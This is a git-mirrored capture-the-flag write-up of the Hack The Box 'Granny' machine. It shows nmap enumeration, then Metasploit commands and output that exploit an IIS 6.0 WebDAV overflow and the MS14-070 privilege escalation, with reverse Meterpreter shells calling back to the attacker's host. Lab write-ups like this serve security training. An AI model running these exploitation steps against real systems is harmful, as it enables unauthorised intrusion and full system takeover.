mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 12:27:02 +00:00
add hacking blogposts as they are
This commit is contained in:
parent
fa65088be1
commit
325b9c3814
1904 changed files with 91353 additions and 0 deletions
335
Easy/8.md
Normal file
335
Easy/8.md
Normal file
|
|
@ -0,0 +1,335 @@
|
|||
# Granny Writeup
|
||||
|
||||
|
||||
|
||||
## Introduction :
|
||||
|
||||
Granny is an easy box windows box that was released back in April 2017.
|
||||
|
||||
## **Part 1 : Initial Enumeration**
|
||||
|
||||
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
||||
|
||||
|
||||
λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Granny] → nmap -sC -sV 10.10.10.15
|
||||
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-11 17:45 CET
|
||||
Nmap scan report for 10.10.10.15
|
||||
Host is up (0.036s latency).
|
||||
Not shown: 999 filtered ports
|
||||
PORT STATE SERVICE VERSION
|
||||
80/tcp open http Microsoft IIS httpd 6.0
|
||||
| http-methods:
|
||||
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|
||||
|_http-server-header: Microsoft-IIS/6.0
|
||||
|_http-title: Under Construction
|
||||
| http-webdav-scan:
|
||||
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|
||||
| Server Type: Microsoft-IIS/6.0
|
||||
| Server Date: Mon, 11 Nov 2019 16:48:07 GMT
|
||||
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|
||||
|_ WebDAV type: Unknown
|
||||
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
||||
|
||||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds
|
||||
|
||||
|
||||
## **Part 2 : Getting User Access**
|
||||
|
||||
As you can see we're dealing with IIS 6.0 which is an outdated version, with a ton of scripts for us to use, so let's fire up msfconsole :
|
||||
|
||||
|
||||
msfconsole
|
||||
|
||||
___ ____
|
||||
,-"" `. < HONK >
|
||||
,' _ e )`-._ / ----
|
||||
/ ,' `-._<.===-'
|
||||
/ /
|
||||
/ ;
|
||||
_ / ;
|
||||
(`._ _.-"" ""--..__,' |
|
||||
<_ `-"" \
|
||||
<`- :
|
||||
(__ <__. ;
|
||||
`-. '-.__. _.' /
|
||||
\ `-.__,-' _,'
|
||||
`._ , /__,-'
|
||||
""._\__,'< <____
|
||||
| | `----.`.
|
||||
| | \ `.
|
||||
; |___ \-``
|
||||
\ --<
|
||||
`.`.<
|
||||
`-'
|
||||
|
||||
|
||||
|
||||
=[ metasploit v5.0.74-dev ]
|
||||
+ -- --=[ 1969 exploits - 1088 auxiliary - 338 post ]
|
||||
+ -- --=[ 558 payloads - 45 encoders - 10 nops ]
|
||||
+ -- --=[ 7 evasion ]
|
||||
|
||||
msf5 > update
|
||||
[*] exec: update
|
||||
|
||||
[*] You have the latest version of Pwntools (4.0.1)
|
||||
msf5 > search scstorage
|
||||
|
||||
Matching Modules
|
||||
================
|
||||
|
||||
# Name Disclosure Date Rank Check Description
|
||||
- ---- --------------- ---- ----- -----------
|
||||
0 exploit/windows/iis/iis_webdav_scstoragepathfromurl 2017-03-26 manual Yes Microsoft IIS WebDav ScStoragePathFromUrl Overflow
|
||||
|
||||
|
||||
msf5 > use exploit/windows/iis/iis_webdav_scstoragepathfromurl
|
||||
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set RHOSTS 10.10.10.15
|
||||
RHOSTS => 10.10.10.15
|
||||
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.10.14.10:4444
|
||||
[*] Sending stage (180291 bytes) to 10.10.10.15
|
||||
[*] Meterpreter session 1 opened (10.10.14.10:4444 -> 10.10.10.15:1036) at 2020-02-19 08:38:49 +0000
|
||||
[*] Sending stage (180291 bytes) to 10.10.10.15
|
||||
[*] Meterpreter session 2 opened (10.10.14.10:4444 -> 10.10.10.15:1037) at 2020-02-19 08:38:51 +0000
|
||||
[-] Exploit aborted due to failure: bad-config: Server did not respond correctly to WebDAV request
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.10.14.10:4444
|
||||
[*] Trying path length 3 to 60 ...
|
||||
[*] Sending stage (180291 bytes) to 10.10.10.15
|
||||
[*] Meterpreter session 3 opened (10.10.14.10:4444 -> 10.10.10.15:1038) at 2020-02-19 08:39:22 +0000
|
||||
|
||||
meterpreter > ps
|
||||
|
||||
Process List
|
||||
============
|
||||
|
||||
PID PPID Name Arch Session User Path
|
||||
--- ---- ---- ---- ------- ---- ----
|
||||
0 0 [System Process]
|
||||
4 0 System
|
||||
208 348 logon.scr
|
||||
272 4 smss.exe
|
||||
324 272 csrss.exe
|
||||
348 272 winlogon.exe
|
||||
396 348 services.exe
|
||||
408 348 lsass.exe
|
||||
604 396 svchost.exe
|
||||
676 396 svchost.exe
|
||||
732 396 svchost.exe
|
||||
776 396 svchost.exe
|
||||
796 396 svchost.exe
|
||||
932 396 spoolsv.exe
|
||||
960 396 msdtc.exe
|
||||
1080 396 cisvc.exe
|
||||
1128 396 svchost.exe
|
||||
1176 396 inetinfo.exe
|
||||
1212 396 svchost.exe
|
||||
1328 396 VGAuthService.exe
|
||||
1408 396 vmtoolsd.exe
|
||||
1456 396 svchost.exe
|
||||
1504 3620 rundll32.exe x86 0 C:\WINDOWS\system32\rundll32.exe
|
||||
1596 396 svchost.exe
|
||||
1696 396 alg.exe
|
||||
1824 604 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiprvse.exe
|
||||
1908 396 dllhost.exe
|
||||
2060 3620 svchost.exe x86 0 C:\WINDOWS\Temp\radA77E9.tmp\svchost.exe
|
||||
2304 604 wmiprvse.exe
|
||||
2380 3620 svchost.exe x86 0 C:\WINDOWS\Temp\rad64DF6.tmp\svchost.exe
|
||||
2928 3620 svchost.exe x86 0 C:\WINDOWS\Temp\rad3C906.tmp\svchost.exe
|
||||
3396 1080 cidaemon.exe
|
||||
3440 1080 cidaemon.exe
|
||||
3480 1080 cidaemon.exe
|
||||
3620 1456 w3wp.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\windows\system32\inetsrv\w3wp.exe
|
||||
3692 604 davcdata.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\inetsrv\davcdata.exe
|
||||
|
||||
|
||||
and we get a reverse shell ! but we need to migrate to another process in order to escalate privileges : the process number 1824 looks interesting :
|
||||
|
||||
|
||||
|
||||
meterpreter > migrate 1824
|
||||
[*] Migrating from 1504 to 1824...
|
||||
[*] Migration completed successfully.
|
||||
|
||||
meterpreter > shell
|
||||
Process 2080 created.
|
||||
Channel 3 created.
|
||||
Microsoft Windows [Version 5.2.3790]
|
||||
(C) Copyright 1985-2003 Microsoft Corp.
|
||||
|
||||
C:\WINDOWS\system32>cd ../..
|
||||
ccd ../..
|
||||
|
||||
C:\>d Documents And Settings
|
||||
cd Documents And Settings
|
||||
|
||||
C:\Documents and Settings>cd Administrator
|
||||
cd Administrator
|
||||
Access is denied.
|
||||
|
||||
|
||||
And as you can see, we still migrated to NT Authority, but we did not escalate our privileges enough.
|
||||
|
||||
## **Part 3 : Getting Root Access**
|
||||
|
||||
|
||||
C:\Documents and Settings>exit
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 3...
|
||||
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > search ms14_070
|
||||
|
||||
Matching Modules
|
||||
================
|
||||
|
||||
# Name Disclosure Date Rank Check Description
|
||||
- ---- --------------- ---- ----- -----------
|
||||
0 exploit/windows/local/ms14_070_tcpip_ioctl 2014-11-11 average Yes MS14-070 Windows tcpip!SetAddrOptions NULL Pointer Dereference
|
||||
|
||||
|
||||
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > use exploit/windows/local/ms14_070_tcpip_ioctl
|
||||
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > set SESSION 3
|
||||
SESSION => 3
|
||||
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > show options
|
||||
|
||||
Module options (exploit/windows/local/ms14_070_tcpip_ioctl):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION 3 yes The session to run this module on.
|
||||
|
||||
|
||||
Payload options (windows/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows Server 2003 SP2
|
||||
|
||||
|
||||
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > set LHOST 10.10.14.10
|
||||
LHOST => 10.10.14.10
|
||||
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > run
|
||||
|
||||
|
||||
We'll use a local exploit on our backgrounded session, to see if we can escalate privileges.
|
||||
|
||||
|
||||
[*] Started reverse TCP handler on 10.10.14.10:4444
|
||||
[*] Storing the shellcode in memory...
|
||||
[*] Triggering the vulnerability...
|
||||
[*] Checking privileges after exploitation...
|
||||
[+] Exploitation successful!
|
||||
[*] Sending stage (180291 bytes) to 10.10.10.15
|
||||
[*] Meterpreter session 4 opened (10.10.14.10:4444 -> 10.10.10.15:1039) at 2020-02-19 08:44:38 +0000
|
||||
|
||||
meterpreter > shell
|
||||
[-] Unknown command: shell.
|
||||
meterpreter > shell
|
||||
Process 3108 created.
|
||||
Channel 1 created.
|
||||
Microsoft Windows [Version 5.2.3790]
|
||||
(C) Copyright 1985-2003 Microsoft Corp.
|
||||
|
||||
C:\WINDOWS\system32>meterpreter >
|
||||
meterpreter > shell
|
||||
Process 3140 created.
|
||||
Channel 2 created.
|
||||
Microsoft Windows [Version 5.2.3790]
|
||||
(C) Copyright 1985-2003 Microsoft Corp.
|
||||
|
||||
C:\WINDOWS\system32>cd c:\
|
||||
cd c:\
|
||||
|
||||
C:\>dir
|
||||
dir
|
||||
Volume in drive C has no label.
|
||||
Volume Serial Number is 246C-D7FE
|
||||
|
||||
Directory of C:\
|
||||
|
||||
04/12/2017 04:27 PM <****DIR> ADFS
|
||||
04/12/2017 04:04 PM 0 AUTOEXEC.BAT
|
||||
04/12/2017 04:04 PM 0 CONFIG.SYS
|
||||
04/12/2017 09:19 PM <****DIR> Documents and Settings
|
||||
04/12/2017 04:17 PM <****DIR> FPSE_search
|
||||
04/12/2017 04:17 PM <****DIR> Inetpub
|
||||
12/24/2017 07:21 PM <****DIR> Program Files
|
||||
12/24/2017 07:30 PM <****DIR> WINDOWS
|
||||
04/12/2017 04:05 PM <****DIR> wmpub
|
||||
2 File(s) 0 bytes
|
||||
7 Dir(s) 18,090,029,056 bytes free
|
||||
|
||||
C:\>cd Documents and Settings
|
||||
cdcd Documents and Settings
|
||||
|
||||
C:\Documents and Settingcd Administrator
|
||||
cd Administrator
|
||||
|
||||
C:\Documents and Settings\Administrator>dir
|
||||
dir
|
||||
Volume in drive C has no label.
|
||||
Volume Serial Number is 246C-D7FE
|
||||
|
||||
Directory of C:\Documents and Settings\Administrator
|
||||
|
||||
04/12/2017 08:48 PM <****DIR> .
|
||||
04/12/2017 08:48 PM <****DIR> ..
|
||||
04/12/2017 04:28 PM <****DIR> Desktop
|
||||
04/12/2017 04:12 PM <****DIR> Favorites
|
||||
04/12/2017 04:12 PM <****DIR> My Documents
|
||||
04/12/2017 03:42 PM <****DIR> Start Menu
|
||||
04/12/2017 03:44 PM 0 Sti_Trace.log
|
||||
1 File(s) 0 bytes
|
||||
6 Dir(s) 18,090,029,056 bytes free
|
||||
|
||||
C:\Documents and Settings\Administrator>cd Desktop
|
||||
cd Desktop
|
||||
|
||||
C:\Documents and Settings\Administrator\Desktop>dir
|
||||
dir
|
||||
Volume in drive C has no label.
|
||||
Volume Serial Number is 246C-D7FE
|
||||
|
||||
Directory of C:\Documents and Settings\Administrator\Desktop
|
||||
|
||||
04/12/2017 04:28 PM <****DIR> .
|
||||
04/12/2017 04:28 PM <****DIR> ..
|
||||
04/12/2017 09:17 PM 32 root.txt
|
||||
1 File(s) 32 bytes
|
||||
2 Dir(s) 18,090,029,056 bytes free
|
||||
|
||||
C:\Documents and Settings\Administrator\Desktop>type root.txt
|
||||
type root.txt
|
||||
aaXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
|
||||
C:\WINDOWS\system32>cd C:\Documents and Settings\Lakis\Desktop
|
||||
cd C:\Documents and Settings\Lakis\Desktop
|
||||
|
||||
C:\Documents and Settings\Lakis\Desktop>type user.txt
|
||||
type user.txt
|
||||
|
||||
70XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
|
||||
And that's it ! we have been able to root the box, getting both the user and the root flag in one go. :)
|
||||
|
||||
## **Conclusion**
|
||||
|
||||
Here we can see the progress graph :
|
||||
|
||||
|
||||
|
||||
Loading…
Add table
Add a link
Reference in a new issue